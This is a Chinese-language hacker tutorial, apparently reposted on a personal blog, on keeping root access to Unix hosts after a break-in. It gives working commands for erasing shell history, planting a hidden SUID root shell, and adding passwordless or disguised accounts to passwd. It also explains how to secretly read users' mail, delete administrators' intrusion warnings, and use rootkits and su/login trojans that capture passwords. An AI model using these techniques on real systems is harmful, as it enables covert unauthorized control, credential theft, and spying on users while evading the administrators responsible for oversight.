保持在主機上的權限


--------------------------------------------------------------------------------

目錄:
一些訣竅
Root和Demon的工具包及特洛伊木馬


--------------------------------------------------------------------------------

保持訪問權限的方法有很多。雖然在你學習本文時,可能正將要失去在某些主機上
的訪問權限,但我希望本文中的一些經驗可以使你成為一名「堅固」的黑客。

一些訣竅

這裡提供的一些「訣竅」可以幫助你保持在主機上的權限。一旦系統管理員發現了
你,他們會在一旁監視你和你在該系統上所做的每一件事,他們還會重新編譯二進制文件
、更改每個用戶的密碼、拒絕來自你所在主機的訪問、隱藏passwd和shadow檔、檢查有
SUID的文件,等等......

如果你發現自己已經暴露了,不要試圖再次闖入該系統。我就曾經目睹了一些人因為
試圖通過安裝特洛伊木馬、使用其他帳號或以前所設置的「後門」再次獲取權限而被捕。
仔細想一下,他們在監視你......你在系統中的一舉一動、精心設計的程序都會他們知道!

千萬不要這樣!請等待!當一個月後,他們會以為事情已經過去而放鬆警惕。這時,
你就可以利用他們遺漏的系統漏洞之一再次進入該系統,並嘗試恢復你以前所做的工作。

OK。以下就是這些「訣竅」。

歷史文件:
--------------
總是把你的.bash_history文件鏈接到/dev/null。否則,至少要編輯它。記住,.bash_history
會記錄你在退出登錄前所輸入的命令。舉個例子,如果你編輯它,它就會記錄到你正在
編輯它。你或許可以在另外的shell中編輯它,但這似乎有點多餘,只要把它輸出到/dev/null
就行了。

1. 如果在用戶目錄下有.bash_history文件,刪除它。
2. 在用戶根目錄下輸入命令:ln -s /dev/null .bash_history

「藏身」目錄:
-----------------
總是在系統找一個目錄作為你的文件的「藏身之所」。這裡提供幾個大多數用戶幾乎
從來沒有瀏覽過的目錄。

在用戶根目錄中尋找.term,在該目錄下只有一個termrc可執行文件。系統管理員及其同類
用戶都已慣於看到這個隱藏目錄,但幾乎從未進入此目錄。如果你們進入了這個目錄,你想
他們對此目錄下的termrc可執行文件有何感想呢?對了。沒有。。。因為他們認為這個文件
正在它應該在的地方。

好了。讓我們把termrc變大一點,並加上suid權限。。。你明白其中的意思吧???我
想你能猜得到。;-) 然後切換到/bin目錄並輸入:
cp bash(或sh等之類的shell) ~username/.term/termrc
chown root ~username/.term/termrc
chgrp root~username/.term/termrc
chmod +s ~username/.term/termrc

現在,你有一個可以隨時成為root用戶的文件,而且不易被系統管理員發現。如果你希望
做得更好一點,可以修改文件日期,使其看起來是一個「舊」文件。

另外,還有一些是每個用戶必有但卻可能從未使用過的目錄,如 .elm 、.term 、mail。你還
可以嘗試建立「...」目錄,由於它緊跟在兩個特殊目錄「.」和「..」之後,不易被察覺,因此
是簡單可行的。當用ls -al察看時,顯示如下內容:

1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
509 Mar 02 1996 .bash_history
22 Feb 20 1996 .forward
164 May 18 1996 .kermrc
34 Jun 06 1993 .less
114 Nov 23 1993 .lessrc
1024 May 18 1996 .term
1024 May 19 1996 public_html

看見它所處的位置了嗎?

但如果使用 ls -l命令,只會顯示如下內容:

1024 May 19 1996 public_html

記住,你也可以尋找一些具有很長名字的文件路徑,而且一般沒有人想進入它。
利用它來作為你的「藏身」目錄,當然,你甚至可以在那裡建立「..,」目錄。;-)


製作新命令
--------------------
在你檢查cron是否已經使用MD5加密後,你或許希望將所設計的程序複製到另一
個不同的文件以保存在系統中;以或者是覆蓋一個你知道從未有人使用過的命令。
複製文件時應注意修改文件日期,不然遲早系統管理員都將修復系統,使你所設計的
程序都是白費心機。

更好的方法是為所要使用的shell取另外的新名字,並使它具有suid權限。


增加或修改登錄密碼
---------------------------------
另一個可行的「後門」是在passwd檔中增加新用戶,並盡量使它看起來像是原來
就有的。盡量不要使用這個新用戶密碼,不要用它登錄,只是在你失去了原有權限時
才將它派上用場。

特點:這個用戶不必是容易引起注意的root用戶;你可以在任何需要的時候成為
root用戶。以下是一個實例:

We want to make our account look like it belongs, so lets keep to thetop of
the file.

root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash

以上這些已足夠我們使用了,因此我只列出這些用戶。

1. 查看用戶operator、ftp和postmaster,所有這些帳號都可以執行shell,而且沒有設
置密碼。在你的shell中輸入:

passwd postmaster

回車(entern)以設置其密碼為空。這樣,你就能在任何時候用這個帳號登錄,
同時也不會引起引起系統管理員的懷疑。

2. 在passwd檔中加入下面一行:

syst::13:12:system:/var/spool:/bin/bash

將該行放入文件內部(不會引起注意)。在密碼部分::可以不進行設置,或者在
root shell中鍵入passwd syst以輸入新密碼。組和用戶id可以隨意設置。


3. 查看sync用戶一行:

sync:*:5:0:sync:/sbin:/bin/sync

將其修改為:

sync:*:5:0:sync:/sbin:/bin/bash

然後運行 將密碼設置為空(或其他)。在這個賬號中gid=0。;-)


安裝遊戲
----------------

如果系統中裝中遊戲,你也可以安裝一些可以利用的遊戲,如doom、abuse。在附錄
中有可以利用這些遊戲取得root權限的程序。


保持監視
------------------

總是要知道系統中的管理員是誰。如何如何發現他們呢?可以查看passwd檔中的
用戶根目錄、用戶id、用戶組或者閱讀bash_history文件查看使用管理員命令的用戶。
你還可以從這些歷史文件中學到新的命令,不過,主要還是要知道誰在這個系統裡。
一定要很熟悉你正在使用的系統;用su : 查找用戶;瀏覽log文件以查看誰在使用管理
員命令。

對系統保持監視。當你在系統中時,要注意別人。查看管理員命令歷史記錄,看看
他們在使用什麼命令:tty端口監聽?過多的ps命令?在ps或w或who命令後跟著finger
命令說明他們正在監視系統中其他用戶。監視系統管理員,並要留意他們對系統中用戶
有多少瞭解。

閱讀系統郵件

首先要記住:從不使用系統郵件程序。否則用戶會知道你閱讀了他們的郵件。我使用
了一些方法來閱讀郵件。現在讓我們來看一看:

1. cd /var/spool/mail

在此目錄中保存著所有未閱讀郵件和等待中的郵件。我們可以按照以下步驟閱讀
郵件:

grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more

譬如你想查看pico用戶名,可以鍵入ctrl+w來進行搜索。如果你看見有其他系統
管理員有郵件告訴系統管理員你正在使用某用戶名從他們的服務器上攻擊該系統,
你當然可以刪除它了。

有一個郵件閱讀器,它允許你閱讀郵件,但並不更新郵件標識(是否已讀):

http://obsidian.cse.fau.edu/~fc

在那裡有一個工具可以在不改變最後閱讀日期的情況下顯示/var/spool/mail中的郵件。
也就是說,他們(用戶)根本不知道你已閱讀過他們的郵件。

另外要記住,你可以在用戶的目錄下發現其他系統郵件。一定要檢查/root目錄。
檢查/root/mail或username/mail或其它包含了以前郵件的目錄。

祝你「狩獵」快樂。。。


--------------------------------------------------------------------------------

Root和Demon工具及特洛伊木馬

Root工具是ps、login、netstat的c源程序,有時還有一些已經被「黑」過的程序以
供你使用。有了這些工具,就可以更換目標主機上的login文件,從而使你能夠不用帳號
就可以在目標主機上登錄。

你還可以修改ps,使你在系統管理員使用ps命令時不會暴露,還可以隱藏一些有
明顯含義的可執行文件(如「sniff」開始的文件)在運行時的進程。

Demon工具提供了identd、login、demon、ping、su、telnet和socket的黑客程序。

特洛伊木馬是那些可以讓你在某些方面欺騙系統的程序。一個放在系統管理員目
錄下的su木馬程序,只要你改變了他的查找路徑,su木馬程序就能在真正的su程序前首
先運行。在向其提示輸入錯誤密碼,同時刪除木馬程序並保存其密碼到/tmp目錄下。

一個login木馬程序可以將主機上所有的登錄密碼保存在一個文件中。我想你知道
其中的含義了吧。;-)

Demon和Linux root工具的源程序可在附錄VI中找到。



--------------------------------------------------------------------------------
創作者介紹
創作者 Neo Chao 的頭像
Neo Chao

My Life Going By My Style

Neo Chao 發表在 痞客邦 留言(0) 人氣()